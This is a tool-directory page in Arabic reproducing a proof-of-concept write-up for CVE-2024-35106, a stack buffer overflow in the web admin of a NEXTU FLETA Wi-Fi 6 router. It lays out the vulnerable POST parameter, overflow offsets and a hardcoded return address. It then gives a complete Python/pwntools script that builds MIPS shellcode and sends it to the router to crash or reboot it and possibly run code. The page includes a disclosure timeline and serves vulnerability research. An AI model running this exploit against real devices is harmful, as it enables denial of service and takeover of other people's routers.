Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/laskdjlaskdj12/cve-2024-35106-poc
أمان الأنظمة المدمجةأمان إنترنت الأشياءالاستغلالشيل كوداستغلال تطبيقات الويبأمان الأجهزة وإنترنت الأشياءتطوير الحمولاتاستغلال الملفات الثنائية
GitHublaskdjlaskdj12/cve-2024-35106-poc

CVE-2024-35106-POC

عرض المستودع
منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

NEXTU FLETA Wifi6 Router DOS, إثبات مفهوم (POC) لاستغلال RCE محتمل

يصف هذا المستند كيفية تنفيذ الاستغلال على جهاز التوجيه EZNET FLETA WiFI من خلال الثغرة CVE-2024-35106.

معلومات الثغرة

[معرّف CVE] CVE-2024-35106

[الجهة المصنعة] NEXTU

[المنتج] FLATA AX1500 Wifi6 Router

[الإصدار] 1.0.3

[نوع الثغرة] تجاوز سعة المخزن المؤقت

بيئة التشغيل

يعمل جهاز التوجيه على بنية MIPS استنادًا إلى مجموعة شرائح Realtek وبترتيب البايت الصغير (little-endian).
إصدار البرنامج الثابت لجهاز التوجيه هو v1.0.3.

يستخدم جهاز التوجيه هذا خادم الويب المدمج Boa، الذي كان آخر إصدار له في عام 2005. ومع ذلك، يستخدم جهاز التوجيه هذا خادم الويب Boa لخدمة صفحة الإدارة عبر الويب التي تتحكم في البرنامج الثابت لجهاز التوجيه.

شروط استغلال الثغرة

الشروط المطلوبة لتفعيل الثغرة هي كما يلي:

  1. يجب أن يكون جهاز التوجيه في حالته الافتراضية من المصنع أو أن يكون المستخدم مسجلاً للدخول.
  2. يجب حفظ عشر قواعد QoS مسبقًا.
  3. قبل تنفيذ الاستغلال، يجب الوصول إلى صفحة IP QoS (ip_qos.htm) عبر لوحة التحكم عبر الويب.

نقطة حدوث الثغرة

يحدث تجاوز سعة في مخزن المكدس نتيجة لعدم التحقق من طول البايت لاسم قاعدة IP QoS عند تعيين QoS لعنوان IP داخلي على صفحة إدارة جهاز التوجيه عبر الويب.

عند تمرير معاملات طلب تكوين IP QoS إلى دالة المعالج formIpQoS في Boa، يستخرج المعالج طول البايت للمعامل "entry_name" وينسخه إلى المتغير acStack_1c0 باستخدام دالة strcpy(). Pasted image 20250207042056

في تلك الدالة، تُستخدم دالة strcpy لنسخ المخزن دون التحقق من حجم المخزن. Pasted image 20250207042120

نظرًا لأن المتغير acStack_1c0، الذي يخزن البيانات الثنائية للمعامل المنسوخ entry_name، ثابت الحجم عند 16 بايت، فإن استخدام دالة strcpy() — التي لا تحد من حجم البيانات المنسوخة — سيؤدي إلى تجاوز سعة المخزن. Pasted image 20250207042349

Pasted image 20250207042359

مسار استغلال الثغرة

طلب POST ومعاملات ناقل الهجوم هي كما يلي.

root@kitploit:~
POST /boafrm/formIpQoS  
  
BODY  
enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=[ADD ARBITRARY CODE AREA]

يُعد المهاجم بيانات ثنائية تتضمن شيئين: كود ثنائي عشوائي وعنوانًا عشوائيًا، ويضعها في معامل entry_name لطلب POST.

لذلك، يتم استبدال عنوان الإرجاع (RET)، الموجود في عنوان مكدس معالج formIpQoS، بعنوان عشوائي بسبب تجاوز سعة المكدس.

Pasted image 20250207042541 (0x7f8548cc هو عنوان RET الخاص بمكدس معالج formIpQoS)

ومع ذلك، نظرًا لأن دالة المعالج يجب أن تكمل تنفيذها بشكل طبيعي، يجب حفظ 10 مجموعات من قواعد IP QoS مسبقًا. Pasted image 20250207042613

إثبات المفهوم (POC) للثغرة

root@kitploit:~
from pwn import *  
from hackebds import *  
  
  
def shutdown_shell_code():  
    context.update(arch='mips', os='linux', bits=32, endian='little')  
  
    cmd = "/bin/sh"  
    args = ["autoreboot"]  
  
    asmcode = shellcraft.mips.linux.execve(cmd, args, 0) + shellcraft.mips.linux.exit()  
    shellcode = asm(asmcode)  
    return shellcode  
  
  
power_off_code = shutdown_shell_code()  
  
gap_code = (b'A') * 0x138

# This is the area that overwrites the RET region. You can place the address to which you want to redirect the execution flow.
# For example I fixed address as 0x7f854710
RET_address = (b'\x10\x47\x85\x7f')  
stack_gap = (b'C') * 0x40  
  
print("power_off_code_length")  
print(len(power_off_code))  
  
final_code = power_off_code + gap_code + RET_address + stack_gap  
  
import socket  
import ssl  
  
# Server Address and Port  
HOST = '192.168.1.254'  
PORT = 443  
  
# Create an SSL socket for HTTPS connection
context = ssl.create_default_context()  
context.set_ciphers('HIGH:!DH:!aNULL')  
context.check_hostname = False  
context.verify_mode = ssl.CERT_NONE  
  
with socket.create_connection((HOST, PORT)) as sock:  
    with context.wrap_socket(sock, server_hostname=HOST) as ssock:  
            # Prepare the shellcode as bytes (e.g., b'\x00\x01\x02'; replace with appropriate values for actual use)
  
        # parameter for evade verification  
        send_byte = b"enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=" + final_code  
  
        # POST request headers 
        headers = b"POST /boafrm/formIpQoS HTTP/1.1\r\n" \  
                  b"Host: " + HOST.encode('utf-8') + b"\r\n" \  
                                                     b"Content-Type: application/octet-stream\r\n" \  
                                                     b"Content-Length: " + str(len(send_byte)).encode(  
            'utf-8') + b"\r\nConnection: close\r\n\r\n"  
  
        # Send request (combine headers and body)  
        ssock.send(headers + send_byte)  
  
        # Receive response  
        response = b""  
        while True:  
            data = ssock.recv(1024)  
            if not data:  
                break  
            response += data  
  
            #Print response  
        print(response.decode('utf-8'))

لاحظ أنه أثناء تنفيذ POC هذا للثغرة، سيحدث DOS بالتأكيد. ومع ذلك، قد لا يحدث تنفيذ عشوائي للكود عن بُعد.

الأثر والمسائل المُثارة

يمكن استغلال هذه الثغرة في هجمات DOS وفي هجمات RCE المحتملة.

الخط الزمني

2024-05-16: تم تخصيص رقم CVE - CVE-2024-35106
2024-05-16: تم إبلاغ الشركات المصنعة بالثغرات
2024-06-05: ورد رد من الشركات المصنعة بخصوص الثغرات

المكتشف

Ku In Hoe

ساعدني في تسجيل هذه الثغرة

الأستاذ المساعد Seonghoon Jeong (Sookmyung Women’s University)

تنزيل الأداة